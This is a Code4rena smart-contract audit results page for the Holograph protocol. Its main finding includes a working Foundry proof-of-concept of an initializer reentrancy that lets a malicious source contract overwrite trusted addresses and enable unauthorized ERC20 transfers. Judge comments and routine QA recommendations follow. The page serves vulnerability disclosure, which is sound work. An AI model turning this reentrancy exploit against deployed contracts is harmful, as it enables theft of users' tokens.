Platform: Code4rena
Start Date: 18/10/2022
Pot Size: $75,000 USDC
Total HM: 27
Participants: 144
Period: 7 days
Judge: gzeon
Total Solo HM: 13
Id: 170
League: ETH
Rank: 6/144
Findings: 2
Award: $2,594.44
🌟 Selected for report: 1
🚀 Solo Findings: 1
🌟 Selected for report: securerodd
2538.7702 USDC - $2,538.77
When new holographable tokens are created, they typically set a state variable that holds the address of the holograph contract. When creation is done through the HolographFactory, the holograph contract is passed in as a parameter to the holographable contract's initializer function. Under normal circumstances, this would ensure that the hologrpahable asset stores a trusted holograph contract address in its _holographSlot.
However, the initializer is vulnerable to reentrancy and the _holographSlot can be set to an untrusted contract address. This occurs because before the initialization is complete, the Holographer makes a delegate call to a corresponding enforcer contract. From here, the enforcer contract makes an optional call to the source contract in an attempt to intialize it. This call can be used to reenter into the Holographer contract's initialize function before the first one has been completed and overwrite key variables such as the _adminslot, the _holographSlot and the _sourceContractSlot.
One way in which this becomes problematic is because of how holographed ERC20s perform transferFrom calls. Holographed ERC20s by default allow two special addresses to transfer assets on behalf of other users without an allowance. These addresses are calculated by calling _holograph().getBridge() and _holograph().getOperator() respectively. With the above described reentrancy issue, _holograph().getBridge() and _holograph().getOperator() can return arbitrary addresses. This means that newly created holographed ERC20 tokens can be prone to unauthorized transfers. These assets will have been deployed by the HolographFactory and may look and feel like a safe holographable token to users but they can come with a built-in rugpull vector.
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Test.sol"; import "../contracts/HolographFactory.sol"; import "../contracts/HolographRegistry.sol"; import "../contracts/Holograph.sol"; import "../contracts/enforcer/HolographERC20.sol"; //Contract used to show reentrancy in initializer contract SourceContract { address public holographer; MockContract public mc; constructor() { mc = new MockContract(); } //function that reenters the holographer and sets this contract as the new holograph slot function init(bytes memory initPayload) external returns(bytes4) { assembly { sstore(holographer.slot, caller()) } bytes memory initCode = abi.encode(abi.encode(uint32(1), address(this), bytes32("0xabc"), address(this)), bytes("0x0")); holographer.call(abi.encodeWithSignature("init(bytes)", initCode)); return InitializableInterface.init.selector; } function getRegistry() external view returns (address) { return address(this); } function getReservedContractTypeAddress(bytes32 contractType) external view returns (address) { return address(mc); } function isTheHolograph() external pure returns (bool) { return true; } } //simple extension contract to return easily during reinitialization contract MockContract { constructor() {} function init(bytes memory initPayload) external pure returns(bytes4) { return InitializableInterface.init.selector; } } contract HolographTest is Test { DeploymentConfig public config; Verification public verifiedSignature; HolographFactory public hf; HolographRegistry public hr; Holograph public h; HolographERC20 public he20; uint256 internal userPrivateKey; address internal hrAdmin; mapping(uint256 => bool) public _burnedTokens; address internal user; function setUp() public { //Creating all of the required objects hf = new HolographFactory(); hr = new HolographRegistry(); h = new Holograph(); he20 = new HolographERC20(); //Setting up the registry admin hrAdmin = vm.addr(100); //Creating factory, holograph, and registry init payloads bytes memory hfInitPayload = abi.encode(address(h), address(hr)); hf.init(hfInitPayload); bytes memory hInitPayload = abi.encode(uint32(0),address(1),address(hf),address(1),address(1),address(hr),address(1),address(1)); h.init(hInitPayload); bytes32[] memory reservedTypes = new bytes32[](1); reservedTypes[0] = "0xabc"; bytes memory hrInitPayload = abi.encode(address(h), reservedTypes); //Setting up a contract type address for the ERC20 enforcer vm.startPrank(hrAdmin, hrAdmin); hr.init(hrInitPayload); hr.setContractTypeAddress(reservedTypes[0], address(he20)); vm.stopPrank(); //Keys used to sign transaction for deployment userPrivateKey = 0x1337; user = vm.addr(userPrivateKey); } function testDeployShadyHolographer() public { //setting up the configuration, contract type is not important config.contractType = "0xabc"; config.chainType = 1; config.salt = "0x12345"; config.byteCode = type(SourceContract).creationCode; bytes memory initCode = "0x123"; //giving our token some semi-realistic metadata config.initCode = abi.encode("HToken", "HT", uint8(18), uint256(0), "HTdomainSeparator", "HTdomainVersion", false, initCode); //creating the hash for our user to sign bytes32 hash = keccak256( abi.encodePacked( config.contractType, config.chainType, config.salt, keccak256(config.byteCode), keccak256(config.initCode), user )); //signing the hash and creating the verified signature (uint8 v, bytes32 r, bytes32 s) = vm.sign(userPrivateKey, hash); verifiedSignature.r = r; verifiedSignature.v = v; verifiedSignature.s = s; //deploying our new source contract and holographable contract pair hf.deployHolographableContract(config, verifiedSignature, user); //after the reentrancy has affected the initialization, we grab the holographer address from the registry address payable newHolographAsset = payable(hr.getHolographedHashAddress(hash)); //verify that the _holographSlot in the holographer contract points to our SourceContract and not the trusted holograph contract assertEq(SourceContract(Holographer(newHolographAsset).getHolograph()).isTheHolograph(), true); } }
Consider checking whether the contract is in an "initializing" phase such as is done in OpenZeppelin's Initializable library to prevent reentrancy during initialization. Additionally, if the bridge and operators are not intended to transfer tokens directly, consider removing the logic that allows them to bypass the allowance requirements.
#0 - gzeoneth
2022-10-28T16:47:11Z
I think the enforcer should be considered trusted so the risk here is low.
#1 - alexanderattar
2022-11-08T06:45:48Z
Good observation. _setInitialized(); needs to be moved higher up the stack before the init call.
#2 - trust1995
2022-11-21T09:57:43Z
Since this can only happen on the first init() call and requires privileged access, agree with judge that it seems a very theoretical attack and hence low risk.
🌟 Selected for report: Rolezn
Also found by: 0x1f8b, 0x52, 0x5rings, 0xNazgul, 0xSmartContract, 0xZaharina, 0xhunter, 0xzh, 8olidity, Amithuddar, Aymen0909, B2, Bnke0x0, Chom, Deivitto, Diana, Diraco, Dravee, Franfran, JC, Jeiwan, Josiah, JrNet, Jujic, KingNFT, KoKo, Lambda, Margaret, Migue, Ocean_Sky, PaludoX0, Picodes, Rahoz, RaoulSchaffranek, RaymondFam, RedOneN, ReyAdmirado, Shinchan, Tagir2003, Trust, Waze, Yiko, __141345__, a12jmx, adriro, ajtra, arcoun, aysha, ballx, bin2chen, bobirichman, brgltd, bulej93, catchup, catwhiskeys, caventa, cccz, cdahlheimer, ch0bu, chaduke, chrisdior4, cloudjunky, cryptostellar5, cryptphi, csanuragjain, cylzxje, d3e4, delfin454000, djxploit, durianSausage, erictee, fatherOfBlocks, francoHacker, gianganhnguyen, gogo, hansfriese, i_got_hacked, ignacio, imare, karanctf, kv, leosathya, louhk, lukris02, lyncurion, m_Rassska, malinariy, martin, mcwildy, mics, minhtrng, nicobevi, oyc_109, pashov, peanuts, pedr02b2, peiw, rbserver, ret2basic, rotcivegaf, rvierdiiev, ryshaw, sakman, sakshamguruji, saneryee, securerodd, seyni, sikorico, svskaushik, teawaterwire, tnevler, w0Lfrum
55.6726 USDC - $55.67
Throughout the codebase abi.encodeWithSignature and abi.encodeWithSelector were used for generating calldata. abi.encodeWithSignature is not typo safe and abi.encodeWithSelector is not type safe. Since Solidity 0.8.11, abi.encodeCall has been available which performs both type and typo checking. As the codebase uses a version > Solidity 0.8.11, I recommended to use abi.encodeCall wherever possible.
Locations:
The enforcer contracts have payable functions but their state is held entirely on the holographer contract. If a user were to unknowingly attempt to interact directly with an enforcer, their funds would be locked into the contract. Consider adding this information in the docstrings and/or pursuing a whitelisting approach where only the necessary parties can call the payable functions on the contract directly.
Locations:
Many of the contracts in the codebase leverage an initialize function that takes a bytes payload and sets key state variables such as owner, admin, and holograph addresses. These functions do not verify that the addreses are non-zero before they are set. If a user does have to redeploy a holographable contract due to accidentally setting an incorrect address, they may have to change the original contract bytecode to obtain a new address. Consider adding this check to prevent onerous redeployment on initializer payload mistakes.
Locations:
Several of the in-scope contracts inherit from the Owner.sol contract. When ownership is transferred using the transferOwnership function, no event is emitted. Consider emitting an event so that ownership transfers can be monitored.
The return type and name of the getDeploymentBlock() function is quite counterintuitive. For example using the current block of 15807116, the return value of getDeploymentBlock() is 0x0000000000000000000000000000000000F1328c. This is confusing given the intended use case of it being Useful for retrieving deployment config for re-deployment on other EVM-compatible chains. I recommend making this return a uint256 named something more appropriate such as deploymentBlock.
Gas prices for EVM operations are not necessarily fixed but transfer and send are limited in the gas they send. To ensure forward compatability, use .call{value: amt} instead of transfer or send.
Locations:
Several functions in the code base lacked documentation, which reduces code readability. Consider adding docstrings to functions missing them.
One modifier in the codebase had multiple conditional checks despite the name of the modifier indicating a single objective. Overloading a modifier in this manner diminishes code readability. Consider separating out functionality into modifiers that uniquely describe the conditionals checked and/or changing the name of the modifier(s) to encompass all of the conditionals.
Locations:
The ECDSA library that is used is v4.4.1. This version has a known signature malleability issue, however the contracts in the scope of this audit were not using the vulnerable function. Consider updating to the current stable version to benefit from the latest security patches.
Several notes and error messages in the code base contained typos.
Locations:
Many of the contracts import several other contracts. Due to this, it can be arduous to track down where specifically items are being imported from. From a readability standpoint, I recommend considering using explicit imports of the form import {X, Y, Z} from "A".
The revertedBridgeOutRequest() function contains a doc string that alerts the user it will always revert. The caution itself is good practice, though it is not completely accurate. It would be more accurate to replace the second half with something like "it is intended to revert" as opposed to "it will always revert".
Error messages are helpful during testing, for users interacting with the protocol, and even from a readability perspective. Consider adding them to the many require and revert statements that are missing them.